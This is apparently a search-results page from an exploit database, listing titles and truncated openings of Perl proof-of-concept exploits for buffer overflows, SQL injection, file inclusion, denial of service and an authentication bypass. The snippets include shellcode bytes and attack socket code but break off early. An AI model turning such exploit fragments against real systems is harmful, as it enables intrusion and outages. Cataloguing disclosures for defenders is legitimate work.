984 matches found
SurgeMail 3.8 - IMAP LSUB Command Remote Stack Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/28377/info SurgeMail is prone to a remote stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input. Successfully exploiting this issue may allow remote attackers to execute...
Monit <= 4.1 - Remote Root Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl monit = 4.1 remote root exploit coded by gsicht 09.04.04 use IO::Socket::INET; $socket = 0; my $shellcode = 8 + 88 = 96 bytes portbind 31337 \x90\x90\x90\x90\x90\x90\x90\x90 . \x90\x90\x90\x90\x90\x90\x90\x90 . \x31\xc0\x31\xdb\xb0\x17\xcd\x80...
pL-PHP <= beta 0.9 - Local File Include Exploit
No description provided by source. !/usr/bin/perl pL-PHP = beta 0.9 Local File Include Exploit Discovered by cr4wl3r Contact : cr4wl3r!linuxmail.org use IO::Socket; use LWP::Simple; @apache= ../apache/logs/error.log, ../apache/logs/access.log, ../../apache/logs/error.log,...
Wireshark < 0.99.5 DNP3 Dissector Infinite Loop Exploit
No description provided by source. !/usr/bin/perl Automatically generated by beSTORMtm Copyright Beyond Security c 2003-2007 $Revision: 3741 $ Attack vector: M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0 Module: DNP3 use strict; use warnings; use Getopt::Std; use IO::Socket::INET; $SIGINT = \ my $host =...
Firebird 1.0 - Remote Pre-Authentication Database Name Buffer Overrun Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10446/info Firebird is reported prone to a remote buffer-overrun vulnerability. The issue occurs because the application fails to perform sufficient boundary checks when the database server is handling database names. A...
ActFax Server (LPD/LPR) 4.25, Build 0221 (2010-02-11) - Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl Exploit Title: ActFax Server LPD/LPR Remote Buffer Overflow Exploit Date: Feb 15, 2011 Author: chap0 Software Link: http://www.actfax.com/download/actfaxsetupen.exe Version: Version 4.25, Build 0221 2010-02-11 Tested on: Windows XP SP3 en Big than...
Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065)
... Microsoft Internet Information Services是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 ... Microsoft Internet Information Services IIS 5.1, 6.0, 7.0和7.5版本中的ASP实施中存在栈消耗漏洞。远程攻击者可以借助对IIS所承载网站的ASP页面发送特制URI请求导致拒绝服务守护进程中断。该漏洞与asp.dll有关，又名"IIS重复参数请求拒绝服务漏洞"。 IIS 6.0 ASP DoS PoC usage: perl IISdos.pl use...
fipsCMS <= 4.5 (index.asp) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Script Name: fipsCMS = v4.5 index.asp Remote SQL Injection Exploit Coded by : ajann Author : ajann Contact : : use IO::Socket; if@ARGV 3 print ======================================================================== // fipsCMS = v4.5 index.asp...
MemHT Portal 4.0.1 - SQL Injection Code Execution Exploit
No description provided by source. !/usr/bin/perl =about MemHT 4.0.1 Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Due to weak params filtering we are able to make SQL-Injection. So, 1. Look at 'inc/ajax/ajaxrating.php', line 29. It is not enough to...
Zervit HTTP Server <= 0.3 (sockets++ crash) Remote Denial of Service
No description provided by source. !/usr/bin/perl Zervit HTTP Server = v0.3 Remote Denial of Service. -------------------------------------------------------------------- The vulnerability is caused due to an error in multi-socket. This can be exploited to crash the HTTP service...
KNet Web Server 1.04b - Stack Corruption BoF
No description provided by source. !/usr/bin/perl KNet Web Server Stack corruption BoF PoC Written by Wireghoul - http://www.justanotherhacker.com Date: 2013/04/11 Version: 1.04b Tested on: WinXP SP3 use IO::Socket::INET; $host = shift; $port = shift; print KNet Web Server stack corruption BoF Po...
DigiAffiliate <= 1.4 (visu_user.asp id) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Script Name: DigiAffiliate = V1.4 Remote Blind SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.digiappz.com $$ : .299 .. : ajann,Turkey use IO::Socket; if@ARGV 1 print...
phpBB Security <= 1.0.1 (php_security.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl phpBB Security 1.0.1 Class: Remote File Include Vulnerability Date: 2006/10/12 Remote: Yes Type: high Site: http://www.phpbb-amod.com/downloads/phpBBSecurity.zip...
JDKChat 1.5 - Remote Integer Overflow PoC
No description provided by source. !/usr/bin/perl Title: JDKChat v1.5 Remote Integer Overflow PoC Summary: JDKChat is a simple C++ chat server for GNU/Linux systems. Users can connect to it through a simple tcp client like telnet. WebSite : http://www.jdkoftinoff.com/ ----------------------------...
Mercury/32 Mail Server <= 4.01a (check) Buffer Overflow Exploit
No description provided by source. ===== Start Mercury32Overflow.pl ===== Usage: Mercury32Overflow.pl ip imap4 user imap4 pass Mercury32Overflow.pl 127.0.0.1 hello moto Mercury/32, v4.01a, Dec 8 2003 Download: http://www.pmail.com/ use IO::Socket; use strict; my$socket = ; if $socket =...
Updated perl-LWP-Protocol-https package fixes CVE-2014-3230
Updated perl-LWP-Protocol-https package fixes security vulnerability: It was reported that libwww-perl LWP, when using IO::Socket::SSL the default and when the HTTPSCADIR or HTTPSCAFILE environment variables were set, would disable server certificate verification, when the intent was to only...
UPS Web/SNMP-Manager CS121 Login Bypass
!/usr/bin/perl -w use IO::Socket; use constant MAXBYTES = scalar 1024; $socket = IO::Socket::INET-new PeerPort = 4000, PeerAddr = $ARGV0, Type = SOCKDGRAM, Proto = 'udp'; $socket-send""; $socket-recv$inline, MAXBYTES; print "UPS: $inline \n"; $socket-send"show syspar"; $socket-recv$inline,...
UPS Web/SNMP-Manager CS121 - Authentication Bypass
source: https://www.securityfocus.com/bid/67438/info UPS Web/SNMP-Manager CS121 is prone to an authentication-bypass vulnerability. Attackers can exploit this issue to bypass authentication mechanism and gain access to the HTTPs, SNMP or Telnet port service. !/usr/bin/perl -w use IO::Socket; use...
UPS WebSNMP-Manager CS121 - Authentication Bypass
UPS WebSNMP-Manager CS121 - Authentication Bypass source: https://www.securityfocus.com/bid/67438/info UPS Web/SNMP-Manager CS121 is prone to an authentication-bypass vulnerability. Attackers can exploit this issue to bypass authentication mechanism and gain access to the HTTPs, SNMP or Telnet po...
TFTPD32 4.5 TFTPD64 4.5 - Denial of Service (PoC)
TFTPD32 4.5 TFTPD64 4.5 - Denial of Service PoC Exploit Title: TFTPD32 4.5 / TFTPD64 4.5 DoS poc Date: 13/05/2014 Exploit Author: j0s3h4x0r Homepage: http://tftpd32.jounin.net/tftpd32testimonials.html Software Link: http://tftpd32.jounin.net/download/tftpd32.450.zip Version: 4.5 32 bits / 4.5 64...